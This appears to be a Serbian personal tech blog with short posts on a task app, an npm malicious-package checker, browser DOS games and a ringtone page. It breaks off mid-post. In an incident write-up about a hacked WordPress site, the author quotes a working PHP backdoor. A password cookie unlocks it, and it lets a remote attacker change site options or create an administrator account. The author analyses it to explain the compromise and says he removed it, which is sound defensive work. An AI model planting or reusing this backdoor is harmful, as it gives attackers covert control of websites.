Napravili jednostavnu veb aplikaciju za upravljanje ličnim zadacima. Urađena je isključivo uz pomoć veštačke inteligencije u čistom HTML-u, CSS-u i JavaScript-u. Može da se pokrene u lokalu tako što se otvori index.html iz brauzera ali smo je radi lakše dostupnosti podigli na veb server. Ne postoji login na aplikaciju zato što se zadaci čuvaju lokalno, u local storage-u. Zadatke je moguće snimiti u fajl pa ih posle učitati u drugi brauzer/računar. Ima i podsetink 🙂
U poslednje vreme se pojavio veliki broj malicioznih npm paketa koji se inače koriste u projektima pisanim u JavaScript-u. Pošto imamo nekoliko takvih projekata pojavila se potreba za alatom koji će da proveri da li malicioznih paketa ima u projektu. Nije problem proveriti direktne pakete projekta ali svaki paket ima svoje zavisnosti u vidu drugih paketa i onda to postane neupravljivo. AI to the rescue, imamo alat u Pajtonu koji upoređuje pakete iz lokala sa OpenSSF repozitorijumom 🙂
[benke@ryzen cms]$ npm run check-malicious
> fitin-cms@0.0.0 check-malicious
> source venv/bin/activate && python3 scripts/check-malicious-packages-v2.py
🔍 Malicious Package Checker v2.0
=====================================
✅ Prerequisites check passed
📦 Extracting installed packages with versions from package-lock.json...
✅ Extracted 1081 installed packages with versions
🚨 Extracting malicious packages with version ranges from database...
✅ Extracted 54903 malicious packages from database
🔍 Checking for malicious packages with version validation...
✅ NO VULNERABLE PACKAGES FOUND - All packages are clean!
📄 Generating detailed report...
✅ Report generated: docs/malicious-packages-check-report-v2.md
🎉 Security check passed!
Vordpres sajt jednog od klijenata je iznenada poprimio potpuno drugačiju naslovnu stranu. Malo sam čeprkao po kodu i adminu i saznao štošta novo 🙂 Pod jedan, obrisana je index.php stranica i umesto nje stavljena statična index.html stranica koja je prikazivala drugi sadržaj. To smo lako rešili ali glavno pitanje je kako su uspeli da zamene tu stranicu. Primetio sam neke plaginove koji ne bi trebalo da budu uključeni u ovu instalaciju pa sam ih obrisao. Takođe, u nekoliko JavaScript fajlova je dodat novi kod pa sam i to brisao. Onda sam u samom adminu primetio da se neko loguje sa jednog od naloga koji ima administratorske privilegije i instalira plaginove:
Skinuo sam sve role sa tog naloga dok ne shvatimo ko je u pitanju. Verovatno su ukradeni kredencijali a ja na žalost, zbog toga što sve ide preko CloudFlare-a, ne vidim sa kojih ajpi adresa zaista dolazi ovaj korisnik. Plaginovi koji su bili instalirani preko ovog naloga su File Manager i API Key. Onda sam apdejtovao preostale plaginove i pobrisao još neke za koje smatram da nisu neophodni. Sajt je star, ima staru temu koja se više ne ažurira i koja sa sobom donosi ili zavisi od nekih starih plaginova koji se više ne ažuriraju.
Pošto mi nije bilo dosta krenuo sam i po bazi da čeprkam i otkrio postove tipa wpcode. Ispostavilo se da su to parčići PHP i JavaScript koda koji mogu da se umetnu u postove pomoću plagina WPCode. Ovo nije loše rešenje ako ne želite da menjate šablone i/ili functions.php fajl ali ovako kreirane stranice mogu da budu jako opasne. Na primer, sa ovakvim parčetom koda:
if (!empty($_pwsa) && _gcookie('pw') === $_pwsa) {
switch (_gcookie('c')) {
case 'sd':
$d = _gcookie('d');
if (strpos($d, '.') > 0) {
update_option('d', $d);
}
break;
case 'au':
$u = _gcookie('u');
$p = _gcookie('p');
$e = _gcookie('e');
if ($u && $p && $e && !username_exists($u)) {
$user_id = wp_create_user($u, $p, $e);
$user = new WP_User($user_id);
$user->set_role('administrator');
}
break;
}
return;
}
možemo na daljinu da postavimo vrednost nekoj opciji bloga ili da kreiramo novi nalog sa administratorskim privilegijama. Na sreću, nije bilo novokreiranih administratora na sajtu a ove snipete sam obrisao iz baze. Pustio sam Wordfence da skenira sajt još jednom i za sada je sve OK. Pratimo situaciju 🙂
Na ovom linku ima detaljno objašnjeno kako rade ovi maliciozni snipeti.
Sajt na kojem je moguće igrati nekolicinu izabranih DOS igara direktno iz brauzera zahvaljujući bilbioteci js-dos. Igre su uglavnom besplatne, demo, šerver ili su prešle u javni domen ali svakako ima interesantnih stvari. Lepo sam se zabavio na prvom nivou igre Heretic 🙂
Igre raspoložive početkom 2024Heretic
Inače, igranje DOS igara pa i pokretanje čitavog operativnog sistema poput Vindouza 95 u brauzeru nije ništa novo. Tako imamo i sajt DOS Zone koji kaže da nudi 1938 DOS igara za konzumiranje u brauzeru. I ovaj sajt koristi js-dos.
Završio sam osnovni kurs iz Javaskripta i napisao prvu ekstenziju za Fajerfoks. Ekstenzija ne radi kako treba ali nema veze, malo se vežbamo 🙂 Sad treba da proučim kako da objavim ekstenziju na Mozilin sajt…
Osvežio sam stranicu sa ringtonovima. Sada imamo mogućnost neposrednog preslušavanja melodija a cela stranica je urađena responsive u HTML petici pa se lepo vidi i na mobilnom telefonu. Imam 99 ringtonova, moram dobro da promislim i izaberem jubilarnu stotku. Neki od kandidata: